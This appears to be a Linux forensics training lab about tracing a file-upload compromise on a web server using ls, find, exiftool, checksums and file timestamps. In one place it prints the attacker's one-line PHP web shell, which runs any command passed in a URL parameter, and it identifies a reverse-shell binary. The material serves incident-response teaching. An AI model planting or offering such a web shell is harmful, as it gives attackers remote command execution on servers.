Identifying the Foothold
During our initial briefing with Penguin Corp, we learned that Penguin Corp's web server is susceptible to a file upload vulnerability, leading to an attacker gaining root access to the system. To start our investigation, we need to be able to explore the system's files effectively.
To identify clues that the file upload feature was exploited, we should focus our search on the web directories and review the uploaded files on the server. First, navigate to the web directory at /var/www/html/ and run ls -al to list out the web files and directories:
Listing the Contents of /var/www/html
investigator@MACHINE_IP:~$ ls -al /var/www/html/
total 32
drwxr-xr-x 4 root root 4096 Feb 12 23:05 .
drwxr-xr-x 3 root root 4096 Feb 12 16:25 ..
drwxr-xr-x 2 www-data www-data 4096 Feb 13 00:32 assets
-rw-r--r-- 1 root root 10918 Feb 12 16:25 index.html
-rwxr-xr-x 1 www-data www-data 905 Feb 12 16:33 upload.php
drwxr-xr-x 2 www-data www-data 4096 Feb 13 00:31 uploads
From the directory structure, it appears that the /uploads directory will contain what we're hunting for. Let's list out the files in the uploads directory:
Listing the Uploaded Files
investigator@MACHINE_IP:~$ ls -al /var/www/html/uploads
total 224
drwxr-xr-x 2 www-data www-data 4096 Feb 13 00:31 .
drwxr-xr-x 4 root root 4096 Feb 12 23:05 ..
-rw-r--r-- 1 www-data www-data 1908 Feb 12 16:59 ABHz3aj.jpeg
-rw-r--r-- 1 www-data www-data 1908 Feb 12 16:59 AhVpDoS.jpeg
-rw-r--r-- 1 www-data www-data 1908 Feb 12 17:00 AqLnBvC.jpeg
-rw-r--r-- 1 www-data www-data 1908 Feb 12 17:00 AsDfGhJ.jpeg
-rw-r--r-- 1 www-data www-data 1908 Feb 12 17:00 AzSxWqE.jpeg
-rw-r--r-- 1 www-data www-data 1908 Feb 12 17:00 BcFvGtR.jpeg
-rw-r--r-- 1 www-data www-data 1908 Feb 12 17:00 BcNmLoP.jpeg
-rw-r--r-- 1 www-data www-data 1908 Feb 12 16:59 CoSaBmQ.jpeg
...
Upon examination of the /uploads directory, it is evident that many files with seemingly random names, including JPEG images, are present. Additionally, note that these files are all owned by the www-data user. To focus on potential non-image files, we can use the grep command to filter out JPEG files:
Filtering the Uploaded Files
investigator@MACHINE_IP:~$ ls -al /var/www/html/uploads | grep -v ".jpeg"
total 224
drwxr-xr-x 2 www-data www-data 4096 Feb 13 00:31 .
drwxr-xr-x 4 root root 4096 Feb 12 23:05 ..
-rw-r--r-- 1 www-data www-data 30 Feb 13 00:31 b2c8e1f5.phtml
The -v option in the grep command negates the pattern, displaying files that do not have the ".jpeg" extension. This allows us to identify and prioritise files with different extensions, such as PHP, that may require further investigation.
Viewing the contents of this interesting .phtml file suggests evidence of a malicious web shell (a file on a web server that allows system command execution), confirming our assumptions:
Viewing the Suspicious Web Shell
investigator@MACHINE_IP:~$ cat /var/www/html/uploads/b2c8e1f5.phtml
<?php system($_GET['cmd']);?>
From the above analysis, it appears the attacker uploaded a .phtml document to execute PHP code on the server. Due to the unsafe system() call in the PHP code, this file allows the execution of arbitrary commands on the system remotely. The attacker likely exploited this to establish a more stable connection from the web server to their system.
After identifying the uploaded file that led to the foothold, it is now a good idea to look into the web server logs to correlate the request and gain more insights into the attack. Web server logs, such as Apache or Nginx logs, can provide valuable information about the attacker's activities, request patterns, and origin. This type of log analysis is covered within Linux Log Investigations.
Ownership and Permissions
File ownership and permissions are critical aspects of system security. As we identified previously, the attacker achieved remote code execution on the server by uploading a malicious web shell. We also determined that the www-data user owned the file, which typically represents the user account associated with the web server process. As such, we should investigate additional activity and files owned by www-data to determine what the attacker may have done with their newfound access.
Attackers often target directories with write permissions to upload malicious files. Common writable directories include:
- /tmp: The temporary directory is writable by all users, making it a common choice.
- /var/tmp: Another temporary directory commonly with world write permissions.
- /dev/shm: The shared memory file system, which is also normally writable by all users.
It's a good idea to run the ls -al command to list files in these directories and investigate any suspicious files or changes. We can also leverage the find command to quickly identify files that match our criteria. For example:
Listing Files Owned by www-data
investigator@MACHINE_IP:~$ find / -user www-data -type f 2>/dev/null | less
/var/www/html/assets/reverse.elf
/var/www/html/uploads/MzCxVeR.jpeg
/var/www/html/uploads/AzSxWqE.jpeg
/var/www/html/uploads/QaWsEdR.jpeg
/var/www/html/uploads/TyHjKlM.jpeg
...
The above command returns and lists all files the www-data user owns, starting from the root directory. We are also directing the output of the command into the less command, which allows us to scroll and paginate the output, as there will likely be many entries. To exit out of the less command, press the Q key.
In the output of the command, we notice several benign entries. However, one that sticks out is reverse.elf listed in the /var/www/html/assets/ directory. By listing out the file in more detail (ls -l /var/www/html/assets/reverse.elf), we can see that the file permissions indicate that this file is executable by all users as characterised by the x bit:
Inspecting the Suspected Reverse Shell
investigator@MACHINE_IP:~$ ls -l /var/www/html/assets/reverse.elf
-rwxr-xr-x 1 www-data www-data 250 Feb 13 00:26 /var/www/html/assets/reverse.elf
Before we investigate the reverse.elf file further, there are several other useful find commands that can be used to pull particular files during an investigation:
find / -group GROUPNAME 2>/dev/null |
Retrieve a list of files and directories owned by a specific group. |
find / -perm -o+w 2>/dev/null |
Retrieve a list of all world-writable files and directories. |
find / -type f -cmin -5 2>/dev/null |
Retrieve a list of files created or changed within the last five minutes. |
Notice that each command is followed by 2>/dev/null to clean up the output by suppressing any error messages that might occur due to permissions.
Metadata
Metadata refers to the embedded information that describes files, which provides insights into a file's characteristics, origins, and attributes. It can include various types of information, such as file creation dates, author details, composition, and file types.
When performing live analysis on a system, metadata can be highly useful in determining the origin and modification timestamps and, in some cases, author details of specific files.
Exiftool is a Perl-based command-line utility with extensive capabilities for extracting and altering metadata from files by parsing their headers and embedded metadata structures.
For example, we can analyse the metadata of the suspicious reverse.elf file by running the following command:
Viewing the Metadata of reverse.elf
investigator@MACHINE_IP:~$ exiftool /var/www/html/assets/reverse.elf
ExifTool Version Number : 11.88
File Name : reverse.elf
Directory : /var/www/html/assets
File Size : 250 bytes
File Modification Date/Time : 2024:02:13 00:26:28+00:00
File Access Date/Time : 2024:02:13 02:31:29+00:00
File Inode Change Date/Time : 2024:02:13 00:34:50+00:00
File Permissions : rwxr-xr-x
File Type : ELF executable
File Type Extension :
MIME Type : ***********/*****-******
CPU Architecture : 64 bit
CPU Byte Order : Little endian
Object File Type : Executable file
CPU Type : AMD x86-64
As seen in the above output, ExifTool tells us more details about this file, such as its type, size, permissions, architecture, and even modification and access timestamps.
Analysing Checksums
Checksums are unique values generated from data using cryptographic hash functions (such as MD5 or SHA-256). These functions produce fixed-size strings of characters representing the data so that even a minor change in the data will result in a significantly different checksum.
Checksums are often used for data integrity verification, ensuring that data has not been altered or corrupted. For an incident responder, they can also be used to identify malicious files and executables based on known signatures.
We can leverage two useful checksum utilities to inspect the hashes of the reverse.elf file we identified previously. We can run both md5sum and sha256sum on the file to output its hash:
Analysing the File's Checksums
investigator@MACHINE_IP:~$ md5sum /var/www/html/assets/reverse.elf
c6cbdba1c147fbb7239284b7df2aa653 /var/www/html/assets/reverse.elf
investigator@MACHINE_IP:~$ sha256sum /var/www/html/assets/reverse.elf
ee0ea8d8bc205c4e2e2cc9ff7ddb71dee22ac0a50c2042701d49e565e0821410 /var/www/html/assets/reverse.elf
Once we have obtained the hash values, we can submit them to a malware detection service like VirusTotal for further analysis. Upon doing so, we will find evidence of various vendors flagging this file as a Meterpreter reverse shell payload. This quick analysis suggests that the attacker placed and executed the reverse.elf file using their initial RCE to achieve an interactive reverse shell connection to the web server.
Timestamps
Timestamps are additional pieces of metadata associated with files or events that indicate when a particular action occurred. Timestamps are one of the most essential aspects for tracking the creation, modification, and access times of files and directories in incident response and forensic activities. These timestamps are invaluable in forensic investigations as they provide essential clues about the sequence of events and the actions performed on a system and help establish a timeline.
In Unix-based systems, three main timestamps are commonly recorded:
- Modify Timestamp (mtime): This timestamp reflects the last time the contents of a file were modified or altered. Whenever a file is written to or changed, its mtime is updated.
- Change Timestamp (ctime): This timestamp indicates the last time a file's metadata was changed. Metadata includes attributes like permissions, ownership, or the filename itself. Whenever any metadata associated with a file changes, its ctime is updated.
- Access Timestamp (atime): This timestamp indicates the last time a file was accessed or read. Whenever a file is opened, its atime is updated.
We can easily view the Modify Timestamp (mtime) of a file by running the following command:
Viewing the Modify Timestamp (mtime)
investigator@MACHINE_IP:~$ ls -l /var/www/html/assets/reverse.elf
-rwxr-xr-x 1 www-data www-data 250 Feb 13 00:26 /var/www/html/assets/reverse.elf
To view the Change Timestamp (ctime) of the same file, we can run:
Viewing the Change Timestamp (ctime)
investigator@MACHINE_IP:~$ ls -lc /var/www/html/assets/reverse.elf
-rwxr-xr-x 1 www-data www-data 250 Feb 13 00:34 /var/www/html/assets/reverse.elf
Lastly, to view the Access Timestamp (atime) of the file, we can run:
Viewing the Access Timestamp (atime)
investigator@MACHINE_IP:~$ ls -lu /var/www/html/assets/reverse.elf
-rwxr-xr-x 1 www-data www-data 250 Feb 13 02:31 /var/www/html/assets/reverse.elf
As mentioned, a file's Access Timestamp (atime) can be easily and inadvertently updated as we perform investigative actions. When we viewed the metadata using ExifTool or analysed its checksums with md5sum or sha256sum, we performed read actions on reverse.elf, thus altering its access time. This is an important concept to consider with live forensic analysis, which is why it's crucial to obtain forensically sound backups and copies of the affected system beforehand. Because of this, the atime will not be a reliable metric for us.
While it's useful to recall the three commands above, we can also leverage the stat command to quickly see all three timestamps at once:
Viewing Timestamps with stat
investigator@MACHINE_IP:~$ stat /var/www/html/assets/reverse.elf
File: /var/www/html/assets/reverse.elf
Size: 250 Blocks: 8 IO Block: 4096 regular file
Device: ca01h/51713d Inode: 526643 Links: 1
Access: (0755/-rwxr-xr-x) Uid: ( 33/www-data) Gid: ( 33/www-data)
Access: 2024-02-13 02:31:29.256000000 +0000
Modify: 2024-02-13 00:26:28.000000000 +0000
Change: 2024-02-13 00:34:50.679215113 +0000
Birth: -